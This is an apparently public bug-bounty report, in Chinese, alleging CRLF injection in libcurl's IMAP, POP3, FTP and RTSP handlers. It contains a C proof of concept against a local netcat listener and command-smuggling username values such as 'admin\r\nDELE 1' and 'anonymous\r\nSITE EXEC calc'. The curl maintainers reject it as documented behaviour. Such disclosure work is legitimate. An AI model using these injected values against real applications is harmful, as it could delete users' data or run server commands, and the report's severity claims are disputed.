CRLF注入 / 协议走私:通过CURLOPT_USERNAME影响libcurl的IMAP协议
报告 ID #3479984
摘要
我发现了libcurl的IMAP协议实现中存在一个CRLF注入漏洞。该漏洞源于lib/imap.c文件中的imap_atom函数在处理CURLOPT_USERNAME选项时,未能正确过滤或转义回车符(\r)和换行符(\n)。这使得攻击者可以通过在用户名字段中插入\r\n序列来注入任意IMAP命令。当这些字符被发送到服务器时,它们会终止当前命令,并使后续数据被解释为一个新的、独立的命令(协议走私)。
受影响版本
我在curl的最新master分支上成功复现了此问题。
复现步骤
为了复现此问题,我们需要绕过CLI参数解析,并通过C程序直接使用libcurl。同时,我们需要一个手动启动的netcat监听器来观察原始协议数据。
-
设置一个假的IMAP服务器: 打开一个终端,使用netcat监听端口143(或任何可用端口):
1sudo nc -lvp 143 -
编译概念验证代码: 将以下代码保存为
poc_imap.c,并针对libcurl进行编译(例如:gcc poc_imap.c -o poc_imap -lcurl):1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { // 目标为本地主机的143端口 curl_easy_setopt(curl, CURLOPT_URL, "imap://127.0.0.1:143/"); // 有效载荷注入: // 我们使用CRLF注入"LOGOUT"作为一个独立的命令。 // 如果存在漏洞,这将作为原始的换行符发送,而不是被引号包裹。 const char *payload = "hacker\r\nLOGOUT"; curl_easy_setopt(curl, CURLOPT_USERNAME, payload); curl_easy_setopt(curl, CURLOPT_PASSWORD, "password123"); // 设置超时以避免手动测试时无限期挂起 curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); // 执行请求 res = curl_easy_perform(curl); curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; } -
运行PoC: 执行编译后的二进制文件:
./poc_imap -
触发注入(手动握手): 在运行netcat的终端(步骤1)中,你会看到一个连接。你必须手动模拟IMAP服务器的问候语,以便libcurl继续发送数据。
- 输入:
* OK IMAP server ready然后按ENTER。 - 等待curl发送
A001 CAPABILITY。 - 输入:
A001 OK Capability completed然后按ENTER。
- 输入:
-
观察注入: 握手后,立即观察netcat终端中的输出。
结果
服务器接收到:
A002 LOGIN hacker LOGOUT password123
预期行为
用户名应该被引号包裹(例如 "hacker\r\nLOGOUT"),或者客户端在发送前应该拒绝CRLF字符。
支持材料/参考
- 易受攻击的组件:
lib/imap.c,特别是处理相关功能的imap_atom函数。 - 影响: 这允许协议走私,使攻击者能够在经过身份验证的会话上下文中执行任意IMAP命令(如DELETE、SELECT、CREATE)。
影响
摘要:此漏洞通过libcurl API(CURLOPT_USERNAME)触发,而非通过本地配置文件。这意味着它引入了远程攻击向量。
例如,一个使用libcurl对IMAP/SMTP服务器进行用户身份验证的Web应用程序,如果直接将来自Web表单的未过滤用户输入传递给curl_easy_setopt,就容易受到协议注入/走私攻击。该库在通过网络发送之前,未能在本地对CRLF字符进行转义,破坏了协议的完整性。
[更新] 变体分析:POP3同样易受攻击
在我最初的报告之后,我对libcurl支持的其他协议进行了变体分析。我已经确认POP3在lib/pop3.c中也存在相同的CRLF注入漏洞。
概念验证(POP3):我针对一个模拟POP3服务器的本地netcat监听器进行了测试。
- 有效载荷:
admin\r\nDELE 1(在CURLOPT_USERNAME中) - 观察到的输出:
1 2USER admin DELE 1
如果应用程序将未过滤的输入传递给username选项,则DELE 1命令会在新的一行成功注入,允许攻击者删除消息或执行其他POP3命令。
这证实了在旧版协议处理器(imap.c,pop3.c)中普遍缺乏对控制字符的输入过滤。
[最终更新] 三连击:FTP协议也确认易受攻击
我同样在FTP协议处理器(lib/ftp.c)中成功复现了CRLF注入,完成了集合(IMAP, POP3, FTP)。
PoC详情:
- 目标:
ftp_state_user函数。 - 有效载荷:
anonymous\r\nSITE EXEC calc传递给CURLOPT_USERNAME。 - 观察到的输出(Netcat):
1 2USER anonymous SITE EXEC calc
最终结论:这是libcurl架构中的一个系统性漏洞。在将所有三个旧版协议的数据传递给Curl_pp_sendf之前,该库始终无法在CURLOPT_USERNAME字段中过滤\r\n字符。
这为任何使用libcurl连接IMAP、POP3或FTP服务器并使用用户控制凭证的应用程序创建了一个通用的远程协议注入向量。
第4个协议确认:RTSP头部注入
为了完成我的审计,我检查了RTSP实现(lib/rtsp.c)并确认它也容易受到通过CURLOPT_RTSP_STREAM_URI进行的CRLF注入攻击。
PoC 输出(Netcat):
|
|
分析:注入到Stream URI中的\r\n字符破坏了RTSP请求行,迫使X-Hacked: YouArePwned被解释为一个新的头部。
易受攻击协议总结:
- IMAP(身份验证/用户)
- POP3(身份验证/用户)
- FTP(身份验证/用户)
- RTSP(请求行/流URI) 这证实了在将输入写入套接字之前,库范围未能对基于文本的协议的输入进行过滤。我强烈建议进行集中修复,而不是单独修补每个文件。
开发者回应
bagder (curl staff) 评论:
这是有文档记录和警告的。不被认为是安全问题。
efrsxcv 回复:
感谢快速的分类处理,Badger。 我理解过滤是应用程序的责任这一立场。我尊重libcurl旨在准确传输所提供内容的理念。 然而,考虑到以下情况:
- 许多依赖libcurl的现代包装器或应用程序隐含地假设该库能处理基本的协议封装安全性(如防止头部注入)。
- 开发者忽略此警告会导致严重的协议注入漏洞(IMAP/SMTP/RTSP走私)。
你们是否愿意考虑在将来提供一个“强化”补丁,明确拒绝特定选项(如
CURLOPT_USERNAME/CURLOPT_RTSP_STREAM_URI)中的CRLF?或者也许可以在文档中为这些特定选项提供更显著的警告? 无论如何,感谢你们维护curl。
bagder (curl staff) 补充评论:
之前已经报告过大约37次类似情况。
我们始终对讨论和改进持开放态度,但这不是进行此类讨论的合适论坛。
随后,bagder 将报告状态更改为“不适用”并关闭了报告,认为这不是一个安全问题。但根据项目的透明度政策,他们仍请求并最终公开披露了此报告。